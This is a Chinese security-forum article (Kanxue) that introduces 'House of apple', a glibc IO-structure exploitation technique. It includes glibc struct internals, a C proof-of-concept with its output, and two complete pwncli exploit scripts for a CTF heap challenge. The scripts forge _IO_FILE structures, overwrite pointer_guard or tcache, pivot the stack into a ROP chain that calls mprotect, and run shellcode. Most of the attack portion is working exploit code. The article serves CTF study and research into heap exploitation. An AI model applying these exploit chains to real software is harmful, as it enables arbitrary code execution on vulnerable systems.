House of apple 一种新的glibc中IO攻击方法
本文为看雪论坛精华文章
看雪论坛作者ID:roderick01
一
前言
二
利用条件
1、程序从main函数返回或能调用exit函数
2、能泄露出heap地址和libc地址
3、 能使用一次largebin attack(一次即可)
三
利用原理
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; // 劫持这个变量
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
amd64:
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
char overflow_buf[64];
} _IO_strnfile;
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile;
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = puts_addr + 0x199804;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = puts_addr + 0x199830;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = puts_addr + 0x199868;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;
puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;
puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;
puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}
roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788 0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770 0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770 0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770 0x00007f648ba40870
===========================new value=======================
四
利用思路
思路一:修改tcache线程变量
int
_IO_str_overflow (FILE *fp, int c)
{
// ......
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 这里任意地址分配
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
free (old_buf);
// .......
}
伪造至少两个_IO_FILE结构体。
第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tcache全局变量为已知值,也就控制了tcache bin的分配。
第二个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_str_overflow中的malloc函数任意地址分配,并使用memcpy使得能够任意地址写任意值。
利用两次任意地址写任意值修改pointer_guard和IO_accept_foreign_vtables的值绕过_IO_vtable_check函数的检测(或者利用一次任意地址写任意值修改libc.got里面的函数地址,很多IO流函数调用strlen/strcpy/memcpy/memset等都会调到libc.got里面的函数)。
利用一个_IO_FILE,随意伪造vtable劫持程序控制流即可。
思路二:修改mp_结构体
伪造至少两个_IO_FILE结构体。
第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改mp_.tcache_bins为很大的值,使得很大的chunk也通过tcachebin去管理。
接下来的过程与上面的思路是一样的。
思路三:修改pointer_guard线程变量之house of emma
伪造两个_IO_FILE结构体。
第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tls结构体pointer_guard的值为已知值。
第二个_IO_FILE结构体用来做house of emma利用即可控制程序执行流。
思路四:修改global_max_fast全局变量
五
例题分析
题目分析
利用过程
2 * y - z = 2 * key + 0x40 - 2 * key - 0x10 = 0x30
2 * y - 2 * x = 2 *key + 0x40 - 2 * key - 0x20 = 0x20
释放chunk 1,并将其置于largebin中。
利用一次写的机会,修改chunk 2,此时修改了chunk1的bk_nextsize,并伪造一个chunk 3。
释放chunk 3,在其入链的过程中触发largebin attack,即可任意地址写一个堆地址。
利用一次write的机会泄露出libc地址和heap地址。
利用堆风水,构造1次largebin attack,替换_IO_list_all为堆地址。
利用house of apple,修改掉pointer_guard的值。
利用house of emma并结合几个gadgets控制rsp。
用rop链输出flag。
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
small = 1
medium = 2
large = 3
key = 10
def add(c):
sla("enter your command: \n", "1")
sla("choise: ", str(c))
def dele(i):
sla("enter your command: \n", "2")
sla("Index: \n", str(i))
def read_once(i, data):
sla("enter your command: \n", "3")
sla("Index: ", str(i))
sa("Message: \n", flat(data, length=0x110 * key))
def write_once(i):
sla("enter your command: \n", "4")
sla("Index: ", str(i))
ru("Message: \n")
m = rn(0x10)
d1 = u64_ex(m[:8])
d2 = u64_ex(m[8:])
log_address_ex("d1")
log_address_ex("d2")
return d1, d2
def bye():
sla("enter your command: \n", "9")
sla("enter your key >>\n", str(key))
add(medium)
add(medium)
add(small)
dele(2)
dele(1)
dele(0)
add(small)
add(small)
add(small)
add(small)
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
dele(4)
dele(6)
add(large)
add(small)
add(small)
dele(8)
add(large)
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base - 0x2890
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps
f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
chain + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym.mprotect,
chain + 0x200
],
0x200: ShellcodeMall.amd64.cat_flag
}
},
0xa80: [0, 0xab1]
}
})
read_once(5, data)
dele(2)
add(large)
bye()
ia()
ia()
使用house of apple修改tcache变量为可控堆地址。
使用_IO_str_overflow完成任意地址写任意值,由于_IO_str_jumps区域是可写的,所以我选择覆盖这里。
仍然利用一些gadgets劫持rsp,然后rop泄露出flag。
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
small = 1
medium = 2
large = 3
key = 10
def add(c):
sla("enter your command: \n", "1")
sla("choise: ", str(c))
def dele(i):
sla("enter your command: \n", "2")
sla("Index: \n", str(i))
def read_once(i, data):
sla("enter your command: \n", "3")
sla("Index: ", str(i))
sa("Message: \n", flat(data, length=0x110 * key))
def write_once(i):
sla("enter your command: \n", "4")
sla("Index: ", str(i))
ru("Message: \n")
m = rn(0x10)
d1 = u64_ex(m[:8])
d2 = u64_ex(m[8:])
log_address_ex("d1")
log_address_ex("d2")
return d1, d2
def bye():
sla("enter your command: \n", "9")
sla("enter your key >>\n", str(key))
add(medium) # 0
add(medium) # 1
add(small) # 2 fake
dele(2)
dele(1)
dele(0)
add(small) # 3
add(small) # 4
add(small) # 5 write
add(small) # 6
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
dele(4)
dele(6)
add(large)
add(small) # 8 del
add(small) # gap
dele(8)
add(large)
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_str_jumps = libc_base + 0x1f4620
_lock = libc_base + 0x1f5720
tcache = libc_base - 0x2908
tcache_perthread_struct = heap_base + 0x1a10
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = tcache - 0x38
f1.vtable = _IO_wstrn_jumps
f2 = IO_FILE_plus_struct()
f2.flags = 0
f2._IO_write_base = 0
f2._IO_write_ptr = 0x1000
f2.chain = chain + 0x200
f2._IO_buf_base = chain + 0xf0
f2._IO_buf_end = chain + 0xf0 + 0x20
f2._lock = _lock
f2._mode = 0
f2.vtable = _IO_str_jumps
f3 = IO_FILE_plus_struct()
f3._IO_read_ptr = chain + 0x110
f3._IO_write_base = 0
f3._IO_write_ptr = 1
f3._lock = _lock
f3._mode = 0
f3.vtable = _IO_str_jumps
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [0, 0x31, [magic_gadget] * 4],
0x110: [
add_rsp_0x20_pop_rbx_ret,
0x21,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym.mprotect,
chain + 0x300
],
0x1b8: _IO_str_jumps,
0x200: bytes(f3),
0x300: ShellcodeMall.amd64.cat_flag
}
},
0xa80: [0, 0xab1]
}
})
read_once(5, data)
dele(2)
add(large)
bye()
ia()
六
总结
看雪ID:roderick01
https://bbs.pediy.com/user-home-956675.htm
# 往期推荐
2.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具
球分享
球点赞
球在看
点击“阅读原文”,了解更多!